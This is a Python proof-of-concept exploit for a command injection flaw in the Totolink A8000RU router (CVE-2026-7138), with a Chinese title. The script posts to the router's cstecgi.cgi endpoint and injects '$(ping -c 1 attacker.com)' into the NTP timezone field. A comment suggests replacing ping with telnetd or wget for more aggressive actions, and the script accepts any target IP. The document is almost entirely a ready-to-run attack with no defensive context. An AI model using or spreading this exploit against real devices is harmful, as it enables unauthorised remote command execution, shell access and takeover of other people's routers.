CVE-2026-7138 Totolink A8000RU OS命令注入漏洞

import requests def exploit(target_ip): url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; ExploitBot/1.0)" } # Payload injects a command to ping a controlled server, demonstrating execution # Replace `ping` with `telnetd` or `wget` for more aggressive actions payload = { "function": "setNtpCfg", "tz": "$(ping -c 1 attacker.com)" } try: response = requests.post(url, data=payload, headers=headers, timeout=5) print(f"[+] Sent payload to {target_ip}") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text}") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": import sys if len(sys.argv) != 2: print("Usage: python cve-2026-7138.py <target_ip>") else: exploit(sys.argv[1])